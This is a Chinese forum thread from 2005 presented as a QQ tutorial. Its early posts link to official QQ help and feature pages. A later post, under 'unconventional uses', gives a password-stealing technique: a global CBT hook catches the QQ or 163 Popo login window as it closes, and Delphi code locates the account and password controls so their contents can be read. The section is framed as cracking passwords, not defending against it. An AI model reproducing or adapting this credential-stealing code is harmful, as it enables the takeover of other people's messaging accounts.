level 1
首先我们先下载一个qq的安装包:http://im.qq.com/help/qq/mo1.shtml?2_1.htm去喝杯茶吧现在的qq附件太多了,文件很大。然后我们安装它.没有号码?那就申请一个吧。http://im.qq.com/help/qq/mo1.shtml?2_2.htm好了吧,开始登陆http://im.qq.com/help/qq/mo1.shtml?2_3.htm没人理你?那是你的qq里还没有好友,先加一个。http://im.qq.com/help/qq/mo1.shtml?2_4.htm这样就可以发消息了。http://im.qq.com/help/qq/mo1.shtml?2_5.htm 作者: 疯跑的橙子 封 2005-8-16 01:24 回复此发言 删除此发言 -------------------------------------------------------------------------------- 2 回复:原创:由浅入深让你变成QQ高手(不断更新..) qq的功能可不止这些比如:网络硬盘:http://im.qq.com/qq/mo.shtml?/a/040412/090901.htm互动空间:http://im.qq.com/qq/mo.shtml?/a/040412/090903.htm彩信DIY :http://im.qq.com/qq/mo.shtml?/a/040412/090902.htmQQ音乐中心:http://im.qq.com/qq/mo.shtml?/a/040412/090906.htm传输文件:http://im.qq.com/qq/mo.shtml?/a/040412/090905.htmQQ群中群:http://im.qq.com/qq/mo.shtml?/a/040412/090904.htmqq游戏:http://game.qq.com/qq对战平台:http://gamezone.qq.com/battle/办公即时通tm:http://im.qq.com/tm/rtx腾讯通:http://rtx.tencent.com/download.shtml浏览器tt:http://tt.qq.com/ 作者: 疯跑的橙子 封 2005-8-16 01:32 回复此发言 删除此发言 -------------------------------------------------------------------------------- 3 回复:原创:由浅入深让你变成QQ高手(不断更新..) qq的皮肤是可以更换的你不会不知道吧。http://im.qq.com/cgi-bin/skin/skin/你也可以编辑自己喜欢的皮肤http://im.qq.com/p/skineditor/当然还有你的桌面http://im.qq.com/cgi-bin/wp/wp/ 作者: 疯跑的橙子 封 2005-8-16 01:34 回复此发言 删除此发言 -------------------------------------------------------------------------------- 4 回复:原创:由浅入深让你变成QQ高手(不断更新..) qq的地址本还是比较使用的http://im.qq.com/p/adress/有空还可以看看动画http://im.qq.com/cgi-bin/flash/flash/如果你的qq中了什么尾巴就一定要清除它http://im.qq.com/qq/mo.shtml?/qq/2003-2/bd.htm在线杀毒http://club.qq.com/virus/qqvirus.htm 作者: 疯跑的橙子 封 2005-8-16 01:43 回复此发言 删除此发言 -------------------------------------------------------------------------------- 5 回复:原创:由浅入深让你变成QQ高手(不断更新..) 如果你在使用中发现什么漏洞可以上报bug给腾讯http://im.qq.com/cgi-bin/bug/bug_index 作者: 疯跑的橙子 封 2005-8-16 01:45 回复此发言 删除此发言 -------------------------------------------------------------------------------- 6 回复:原创:由浅入深让你变成QQ高手(不断更新..) 好了对于想正常使用软件的就讲到这里啦,如果还有不明白就跟帖吧。 作者: 疯跑的橙子 封 2005-8-16 01:47 回复此发言 删除此发言 -------------------------------------------------------------------------------- 7 回复:原创:由浅入深让你变成QQ高手(不断更新..) 下面我们来说说qq的非常规用法。先说说大名鼎鼎的珊瑚虫!谁说不知道就该去面壁了!
2005年08月16日 10点08分
1
level 1
而且效果也不好,这里我介绍一个消息钩子给大家 cbt,我们知道,窗体的创建,活动,销毁都是给win 发送消息的,这个就是我们说的cbt 钩子了,我们可以分析一下qq ,就会发现,登录窗口输入账号密码 选择登陆之后,登录窗口就销毁啦,我们就可以利用截获这个消息,然后取得账号和密码之后再把这个消息传下去,那么我们就完成了crack password 的过程。看一下示例代码(写在我们全局dll 中的消息判断):function ShellDll_MainHook(iCode: Integer; wParam: WPARAM; lParam: LPARAM):LRESULT; stdcall; export;beginif iCode > 0 thenResult := CallNextHookEx(g_hShellHook, iCode, wParam, lParam);if iCode = HCBT_DESTROYWND thenbegin// 此处我们就可以判断一个窗口被销毁是不是 //“tencent qq” or “163 Popo” 的窗口end;Result := CallNextHookEx(0, iCode, wParam, lParam);end;第一部我们已经完成,已经可以确认什么时候要截获密码,账号。2、窗口的判断(1)、Tencent QQ :我们拿出利器(spy++),在微软开发包、.net 的工具中都有这个小家伙,使用他分析一下qq,我们可以通过如下代码判断:a、0630c 版本的判断:// 窗口句柄的判断function GetWindowHandleVerFirst: Integer;varhWindowsHandle, hStaticHandle: Integer;beginResult := 0;hWindowsHandle := FindWindow('#32770', nil);if hWindowsHandle <> 0 thenbeginhStaticHandle := FindWindowEx(hWindowsHandle, 0,'Static', '申请密码保护,确保号码安全');if hStaticHandle <> 0 thenResult := hWindowsHandle;end;end;// 取的账号信息 function GetVerFirstUserCodeHandleEx(WindowHandle: Integer): Integer;function GetVerFirstUserCodeHandle(hwnd: Integer; lparam: Longint):Boolean; stdcall;varbuffer: array[0..255] of Char;buffer1: array[0..255] of Char;beginResult := True;//得到目标窗口的控件GetClassName(hwnd, buffer, 256);//找到发消息的目标窗口的目标控件if StrPas(Buffer) = 'ComboBox' thenbeginPInteger(lparam)^ := hwnd; //得到目标控件的Hwnd(句柄)Result := False; //终止循环end;end; //end of functionvarMyUserCodeComboBoxHandle: Integer;beginResult := 0;if WindowHandle <> 0 thenbeginMyUserCodeComboBoxHandle := WindowHandle;EnumChildWindows(MyUserCodeComboBoxHandle, @GetVerFirstUserCodeHandle,Integer(@MyUserCodeComboBoxHandle));Result := MyUserCodeComboBoxHandle;end;end;// 取的密码信息 function GetVerFirstUserPswHandleEx(WindowHandle: Integer): Integer;function GetVerFirstUserPswHandle(hwnd: Integer; lparam: Longint):Boolean; stdcall;varbuffer: array[0..255] of Char;buffer1: array[0..255] of Char;hLong: Integer;beginResult := True;//得到目标窗口的控件GetClassName(hwnd, buffer, 256);//找到发消息的目标窗口的目标控件if StrPas(Buffer) = 'Edit' thenbeginPInteger(lparam)^ := hwnd; //得到目标控件的Hwnd(句柄)Result := False; //终止循环end;end; //end of functionvarMyUserPswEditHandle: Integer;beginResult := 0;if WindowHandle <> 0 thenbeginMyUserPswEditHandle := WindowHandle;EnumChildWindows(MyUserPswEditHandle, @GetVerFirstUserPswHandle,Integer(@MyUserPswEditHandle));Result := MyUserPswEditHandle;end;end;代码不是我写的啊,作者是:人在昆明,高手啊。 作者: 疯跑的橙子 封 2005-8-16 03:31 回复此发言 删除此发言
2005年08月16日 10点08分
6
level 5
回帖子带fun19807.一来可以升级,因为六级就成为本吧核心会员了.二来可以紧跟fun19807.如果帖子沉了是fun19807弄的.如果帖子火还可以
前排
求粉
2011年09月10日 03点09分
36